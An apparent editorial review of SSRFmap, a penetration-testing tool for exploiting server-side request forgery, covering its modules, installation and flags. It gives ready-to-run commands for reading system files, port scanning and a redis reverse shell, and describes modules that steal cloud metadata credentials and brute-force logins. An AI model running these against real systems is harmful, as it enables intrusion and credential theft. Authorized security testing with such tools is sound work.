SSRFmap: Automated SSRF Fuzzing and Module-Based Exploitation

What SSRFmap Solves and Who It Targets

Server Side Request Forgery is a vulnerability in which an attacker forces a server to make requests on their behalf, often reaching internal services, cloud metadata endpoints, or credentials that would otherwise be inaccessible. Identifying that an SSRF parameter exists is only the first step. Determining what it can reach and whether that translates to meaningful impact requires injecting specific payloads against specific service types: Redis, FastCGI, PostgreSQL, an AWS metadata endpoint, a SOCKS proxy. SSRFmap handles this enumeration step. It accepts a request file in Burp Suite format, a parameter name, and a module selection, then systematically injects payloads. The README describes it as a framework aimed at finding and exploiting services easily. It is designed for use during penetration tests and security assessments where the tester has a request with a known injectable parameter.

The Module List and What Each Covers

SSRFmap ships with 21 modules selectable with the -m flag. The RCE modules target specific services: fastcgi triggers FastCGI remote code execution; redis triggers Redis RCE; github targets GitHub Enterprise versions below 2.8.7; zabbix targets Zabbix; mysql and postgres execute commands through their respective database services; tomcat performs a brute-force attack against the Tomcat Manager interface. The information disclosure modules read internal resources: readfiles reads files such as /etc/passwd; docker retrieves information through the Docker API; smtp sends mail through an internal SMTP service. The cloud metadata modules retrieve credentials and configuration from provider-specific endpoints: alibaba, aws, gce, and digitalocean each target their respective cloud provider's metadata service. The network modules portscan scans the top 8000 ports of the host and networkscan runs an HTTP ping sweep over the network. The utility modules include socksproxy (SOCKS4 proxy), smbhash (forces SMB authentication), memcache (stores data in a Memcache instance), and custom (sends arbitrary data to a netcat listener or similar service).

Installing SSRFmap from GitHub or Docker

The README provides two installation paths. The GitHub installation uses uv, a Python package manager:

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
uv sync --frozen
uv run python ssrfmap.py --help

The Docker path builds a container image:

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
docker build -t ssrfmap .
docker run --rm ssrfmap ssrfmap.py --help

The Dockerfile installs a deliberately outdated curl (version 7.71.0, included in the repository as examples/curl-7.71.0.tar.gz) for testing specific curl-related SSRF vectors. For production use cases, the README shows how to mount only the request files needed at runtime: docker run --rm -it -v "$(pwd)/examples:/requests:ro" ssrfmap ssrfmap.py -r /requests/request.txt -p url -m readfiles. Retrieved loot and cloud metadata are saved to a loot/ directory inside the container or local working directory. The project requires Python 3.12 or later when running from source.

Running Scans: Basic Usage and Module Chaining

The minimum inputs are a request file (-r), a parameter to fuzz (-p), and a module (-m). Multiple modules can be chained with a comma. This example launches both a port scan and file reading in one run:

uv run python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

The request file is a raw HTTP request in Burp format with the target parameter in the body. SSRFmap replaces the specified parameter's value with each module's payloads. To inject into a header rather than a body parameter, specify the header name with -p:

uv run python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

The --rfiles option passes a custom file path for the readfiles module to attempt reading. The request format supports GET, POST, and PUT methods, JSON bodies, XML bodies, and multipart form data. The examples/ directory in the repository contains request1.txt through request10.txt, each demonstrating a different injection scenario.

The FUZZ Marker, WAF Bypass, and SSL Options

By default, SSRFmap replaces the entire value of the targeted parameter. When only part of the value should be replaced (for example, a URL embedded inside a larger string), the marker *FUZZ* can be placed exactly where the payload should be inserted. The text before and after *FUZZ* is preserved, allowing injection into values like url=test;*FUZZ*;end. This marker works in GET parameters, headers, POST and PUT bodies, JSON, XML, and multipart form fields. For targets protected by a WAF or string-based filters, the --level flag activates payload encoding variations: at higher levels, SSRFmap tries IP address representations such as [::] and 0000: alongside the standard 127.0.0.1. The --ssl flag enables HTTPS. The --uagent flag sets a custom User-Agent string for targets that filter on it. The --proxy flag routes requests through a proxy for debugging or traffic capture.

Reverse Shells and Connect-Back Modules

Modules such as redis, fastcgi, and others can establish a reverse shell connection back to the tester's machine. These require --lhost and --lport to specify the listener address and port. The -l flag tells SSRFmap to start its own listener on the specified port and wait for the incoming shell:

uv run python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

The README notes that --lhost and --lport work like their Metasploit equivalents: they are used to build the reverse shell payload that the target server will execute. The -l flag is separate and controls whether SSRFmap itself listens for the connection or whether the tester uses an external netcat listener. Not all modules support connect-back; the custom module can send arbitrary data to any listening service.

Testing the Tool Locally and Running Automated Checks

The repository includes an example Flask application in examples/example.py that acts as a local SSRF service for testing. Running the Flask app alongside SSRFmap allows a developer to verify module behavior without a real target. The README shows this flow:

uv run flask --app examples/example.py run &
uv run python ssrfmap.py -r examples/request.txt -p url -m readfiles

The repository also includes automated unit tests and lint checks, run with uv run pytest and uv run ruff check ., which enforce code coverage above 80 percent for the core requester and utils modules. The Makefile provides sync, lint, format, and test targets wrapping the uv commands. This test infrastructure means contributors can validate module changes against the example service before submitting a pull request.

Limitations and What SSRFmap Does Not Do

SSRFmap does not discover SSRF parameters. It requires a confirmed HTTP request with a known injectable parameter. The tester must identify the parameter through manual review or another tool before SSRFmap can proceed. The module list targets a specific set of services: a target network running only internal web applications without Redis, FastCGI, Memcache, or cloud metadata services will produce little output. The GitHub Enterprise module targets versions below 2.8.7 specifically; current GitHub Enterprise versions are not affected by that particular RCE. The axfr module performs DNS zone transfers, which requires the target's DNS server to be misconfigured to allow them from the server's IP address; most production DNS servers block this. SSRFmap has no GUI and produces output on the command line; loot is saved in the loot/ directory but there is no automated report generation. The project has no GitHub releases. The last push was on 2026-08-10.

Editorial conclusion

SSRFmap suits penetration testers and bug bounty hunters who have already identified an SSRF-injectable parameter and need to enumerate its impact quickly. It is not a scanner that finds SSRF parameters from scratch: it requires a confirmed request with a known parameter. Verify that you have written authorization before running SSRFmap against any target, and confirm that the Redis, FastCGI, or other service module you choose matches what the target network actually exposes.

Frequently asked questions

Official sources

1. Issues
2. License: MIT
3. README
4. swisskyrepo/SSRFmap on GitHub